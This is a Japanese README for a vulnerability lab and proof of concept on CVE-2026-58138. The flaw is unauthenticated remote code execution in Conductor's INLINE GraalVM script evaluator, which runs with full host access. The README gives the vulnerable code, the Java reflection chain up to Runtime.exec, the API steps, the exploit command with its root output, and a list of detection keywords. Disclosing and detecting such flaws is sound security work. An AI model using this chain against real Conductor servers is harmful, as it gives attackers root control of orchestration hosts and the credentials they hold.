CVE-2026-58138 — Conductor (3.21.21..<3.30.2) 認証不要のRCE、INLINE GraalVM evaluator(HostAccess.ALL)経由。ラボ + PoC、エンドツーエンドで検証済み(root)。
Conductor (OSS / Orkes)
3.21.21… before3.30.2は、GraalVM コンテキスト(完全なホストアクセス(HostAccess.ALL)で構築)を使用して、INLINE(およびLAMBDA/DO_WHILE/SWITCH)タスク内のユーザー提供の JavaScript を評価します。スクリプトはjava.lang.Runtimeまでリフレクションし、OS コマンドを実行します。コミュニティ API はデフォルトで認証がないため、このようなタスクを含むワークフローを送信すると、未認証のリモートコード実行となります。
| CVE | CVE-2026-58138 |
| アドバイザリ | vulncheck — Orkes Conductor の未認証 RCE(GraalVM スクリプト評価機能経由) |
| 影響を受けるバージョン | Conductor 3.21.21 … before 3.30.2 |
| 修正バージョン | 3.30.2 (commits 87a7d96, c691e35) |
| クラス | CWE-94 (Code Injection) — GraalVM polyglot sandbox not enforced |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | なし(コミュニティ API はデフォルトで認証なし) |
| ステータス | 確認済み — conductoross/conductor:3.22.3 で root として再現 |
バージョンに関する注意(お読みください)。 影響範囲内で評価機能の設定は異なります: ~
3.29.xまでのバージョン(このラボでは3.22.3を使用)は、プレーンなallowHostAccess(HostAccess.ALL)でコンテキストを構築します — これは CVE が説明しているサンドボックスなしの設定であり、この PoC が直接悪用するものです。3.30.0/3.30.1ラインでは 部分的なdenyAccess(...)ブロックリスト(リフレクションをブロック)が追加されました;完全な修正(allowHostClassLoading(false)+ エンジンの強化)は3.30.2でのみ適用されます。この PoC はプレーンなHostAccess.ALL設定を対象としており、3.30.1のブロックリストをバイパスするとは 主張しません。
core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // full host interop -> no sandbox
.build();
HostAccess.ALL により、スクリプトは Java ホストオブジェクトの任意のメソッド/フィールドを呼び出せます。INLINE タスクは入力を $(実際の Java オブジェクト)としてバインドするため、スクリプトは次のようにピボットできます: $.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime") → Runtime.getRuntime().exec(...)。Python 評価機能も同等です(Context.newBuilder("python").allowAllAccess(true))。
expression を含む INLINE タスクを持つワークフローを登録します(POST /api/metadata/workflow、認証なし)。POST /api/workflow/{name}、認証なし)。Runtime.exec がコマンドを実行し、PoC はその stdout をタスク結果として返します。docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (in range)
# wait ~60s for the all-in-one server to boot
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
観測結果:
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=...; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root) は Conductor プロセスのユーザーです;出力はライブの id/uname 状態 — 実際の実行であり、エコーではありません。exploit.py は Python 標準ライブラリのみを使用しています。
Conductor API にアクセスできる者は誰でも、オーケストレーターホスト上で任意の OS コマンド(ここでは root として)を実行できます — ワークフローエンジン、その永続化/キュー、およびそのワークフローと保存された認証情報が触れるすべてのシステムが完全に侵害されます。
INLINE/LAMBDA/DO_WHILE/SWITCH タスクに getClass、forName、Runtime、exec、ProcessBuilder、または java. リフレクションを参照する expression 文字列が含まれているワークフロー定義、およびシェルを起動する Conductor プロセスをフラグします。
リフレクションチェーン、バージョン間の評価機能設定、パッチについては ANALYSIS.md を参照してください。